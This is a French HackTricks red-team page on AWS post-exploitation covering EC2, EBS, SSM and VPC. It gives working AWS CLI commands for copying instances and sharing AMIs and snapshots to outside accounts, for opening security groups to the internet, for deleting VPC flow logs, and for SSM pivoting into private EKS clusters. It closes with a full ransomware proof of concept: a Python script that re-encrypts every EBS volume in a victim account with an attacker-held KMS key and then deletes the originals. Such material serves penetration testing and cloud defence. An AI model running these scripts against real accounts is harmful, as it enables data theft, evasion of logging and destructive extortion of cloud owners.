AWS - EC2, EBS, SSM & VPC Post Exploitation

Reading time: 15 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

EC2 & VPC

Pour plus d'informations, consultez :

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Miroir VPC Malveillant - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

Le mirroring de trafic VPC duplique le trafic entrant et sortant des instances EC2 au sein d'un VPC sans avoir besoin d'installer quoi que ce soit sur les instances elles-mĂȘmes. Ce trafic dupliquĂ© serait gĂ©nĂ©ralement envoyĂ© Ă  quelque chose comme un systĂšme de dĂ©tection d'intrusion rĂ©seau (IDS) pour analyse et surveillance.
Un attaquant pourrait en abuser pour capturer tout le trafic et obtenir des informations sensibles Ă  partir de celui-ci :

Pour plus d'informations, consultez cette page :

AWS - Malicious VPC Mirror

Copier une Instance en Cours d'Exécution

Les instances contiennent gĂ©nĂ©ralement une sorte d'informations sensibles. Il existe diffĂ©rentes façons d'y accĂ©der (voir trucs d'escalade de privilĂšges EC2). Cependant, une autre façon de vĂ©rifier ce qu'elle contient est de crĂ©er une AMI et de lancer une nouvelle instance (mĂȘme dans votre propre compte) Ă  partir de celle-ci :

shell
# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Les instantanés sont des sauvegardes de volumes, qui contiennent généralement des informations sensibles, donc les vérifier devrait révéler ces informations.
Si vous trouvez un volume sans instantané, vous pourriez : Créer un instantané et effectuer les actions suivantes ou simplement le monter dans une instance à l'intérieur du compte :

AWS - EBS Snapshot Dump

Data Exfiltration

DNS Exfiltration

MĂȘme si vous verrouillez un EC2 pour qu'aucun trafic ne puisse sortir, il peut toujours exfiltrer via DNS.

  • Les journaux de flux VPC ne l'enregistreront pas.
  • Vous n'avez pas accĂšs aux journaux DNS d'AWS.
  • DĂ©sactivez cela en dĂ©finissant "enableDnsSupport" sur false avec :

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Un attaquant pourrait appeler des points de terminaison API d'un compte qu'il contrÎle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les journaux Cloudtrail.

Open Security Group

Vous pourriez obtenir un accÚs supplémentaire aux services réseau en ouvrant des ports comme ceci :

bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

Il est possible de faire fonctionner une instance EC2 et de l'enregistrer pour ĂȘtre utilisĂ©e pour exĂ©cuter des instances ECS, puis de voler les donnĂ©es des instances ECS.

Pour plus d'informations, consultez ceci.

Remove VPC flow logs

bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Permissions requises :

  • ssm:StartSession

En plus de l'exĂ©cution de commandes, SSM permet le tunneling de trafic qui peut ĂȘtre abusĂ© pour pivoter Ă  partir d'instances EC2 qui n'ont pas d'accĂšs rĂ©seau en raison des groupes de sĂ©curitĂ© ou des NACL. Un des scĂ©narios oĂč cela est utile est le pivotement d'un Bastion Host vers un cluster EKS privĂ©.

Pour commencer une session, vous devez avoir le SessionManagerPlugin installé : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. Installez le SessionManagerPlugin sur votre machine
  2. Connectez-vous Ă  l'EC2 Bastion en utilisant la commande suivante :
shell
aws ssm start-session --target "$INSTANCE_ID"
  1. Obtenez les identifiants temporaires Bastion EC2 AWS avec le script Abusing SSRF in AWS EC2 environment
  2. Transférez les identifiants vers votre propre machine dans le fichier $HOME/.aws/credentials en tant que profil [bastion-ec2]
  3. Connectez-vous Ă  EKS en tant que Bastion EC2 :
shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. Mettez Ă  jour le champ server dans le fichier $HOME/.kube/config pour qu'il pointe vers https://localhost
  2. Créez un tunnel SSM comme suit :
shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. Le trafic de l'outil kubectl est maintenant acheminé à travers le tunnel SSM via le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre propre machine en exécutant :
shell
kubectl get pods --insecure-skip-tls-verify

Notez que les connexions SSL Ă©choueront Ă  moins que vous ne dĂ©finissiez le drapeau --insecure-skip-tls-verify (ou son Ă©quivalent dans les outils d'audit K8s). Étant donnĂ© que le trafic est tunnelĂ© Ă  travers le tunnel sĂ©curisĂ© AWS SSM, vous ĂȘtes Ă  l'abri de tout type d'attaques MitM.

Enfin, cette technique n'est pas spécifique à l'attaque des clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivoter vers tout autre service AWS ou une application personnalisée.

Share AMI

bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Rechercher des informations sensibles dans les AMIs publiques et privées

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel est un outil conçu pour rechercher des informations sensibles dans des Amazon Machine Images (AMIs) publiques ou privĂ©es. Il automatise le processus de lancement d'instances Ă  partir des AMIs cibles, de montage de leurs volumes et de recherche de secrets ou de donnĂ©es sensibles potentielles.

Partager un instantané EBS

bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Une preuve de concept similaire Ă  la dĂ©monstration de Ransomware prĂ©sentĂ©e dans les notes de post-exploitation S3. KMS devrait ĂȘtre renommĂ© en RMS pour Ransomware Management Service en raison de la facilitĂ© avec laquelle il peut ĂȘtre utilisĂ© pour chiffrer divers services AWS.

Tout d'abord, depuis un compte AWS 'attaquant', créez une clé gérée par le client dans KMS. Pour cet exemple, nous allons simplement laisser AWS gérer les données de la clé pour moi, mais dans un scénario réaliste, un acteur malveillant conserverait les données de la clé en dehors du contrÎle d'AWS. Modifiez la politique de clé pour permettre à tout Principal de compte AWS d'utiliser la clé. Pour cette politique de clé, le nom du compte était 'AttackSim' et la rÚgle de politique permettant tout accÚs s'appelle 'Outside Encryption'

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

La rÚgle de politique de clé doit avoir les éléments suivants activés pour permettre son utilisation pour chiffrer un volume EBS :

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

Maintenant avec la clé accessible publiquement à utiliser. Nous pouvons utiliser un compte 'victime' qui a quelques instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victime' sont ce que nous ciblons pour le chiffrement, cette attaque est sous l'hypothÚse d'une violation d'un compte AWS à privilÚges élevés.

Pasted image 20231231172655 Pasted image 20231231172734

Semblable à l'exemple de ransomware S3. Cette attaque créera des copies des volumes EBS attachés en utilisant des instantanés, utilisera la clé disponible publiquement du compte 'attaquant' pour chiffrer les nouveaux volumes EBS, puis détachera les volumes EBS originaux des instances EC2 et les supprimera, et enfin supprimera les instantanés utilisés pour créer les nouveaux volumes EBS chiffrés. Pasted image 20231231173130

Cela laisse uniquement des volumes EBS chiffrés disponibles dans le compte.

Pasted image 20231231173338

Il convient Ă©galement de noter que le script a arrĂȘtĂ© les instances EC2 pour dĂ©tacher et supprimer les volumes EBS originaux. Les volumes non chiffrĂ©s d'origine sont maintenant disparus.

Pasted image 20231231173931

Ensuite, retournez à la politique de clé dans le compte 'attaquant' et supprimez la rÚgle de politique 'Outside Encryption' de la politique de clé.

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Attendez un moment que la nouvelle politique de clé se propage. Ensuite, retournez au compte 'victime' et essayez de joindre l'un des nouveaux volumes EBS chiffrés. Vous constaterez que vous pouvez attacher le volume.

Pasted image 20231231174131 Pasted image 20231231174258

Mais lorsque vous essayez de redĂ©marrer l'instance EC2 avec le volume EBS chiffrĂ©, cela Ă©chouera et passera de l'Ă©tat 'en attente' Ă  l'Ă©tat 'arrĂȘtĂ©' indĂ©finiment, car le volume EBS attachĂ© ne peut pas ĂȘtre dĂ©chiffrĂ© avec la clĂ© puisque la politique de clĂ© ne le permet plus.

Pasted image 20231231174322 Pasted image 20231231174352

Voici le script python utilisĂ©. Il prend les identifiants AWS pour un compte 'victime' et une valeur ARN AWS disponible publiquement pour la clĂ© Ă  utiliser pour le chiffrement. Le script fera des copies chiffrĂ©es de TOUS les volumes EBS disponibles attachĂ©s Ă  TOUTES les instances EC2 dans le compte AWS ciblĂ©, puis arrĂȘtera chaque instance EC2, dĂ©tachera les volumes EBS originaux, les supprimera, et enfin supprimera tous les instantanĂ©s utilisĂ©s pendant le processus. Cela laissera uniquement des volumes EBS chiffrĂ©s dans le compte 'victime' ciblĂ©. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES VOLUMES EBS ORIGINAUX. Vous pouvez les rĂ©cupĂ©rer en utilisant la clĂ© KMS utilisĂ©e et les restaurer Ă  leur Ă©tat d'origine via des instantanĂ©s, mais je veux juste vous faire savoir que c'est une preuve de concept de ransomware Ă  la fin de la journĂ©e.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks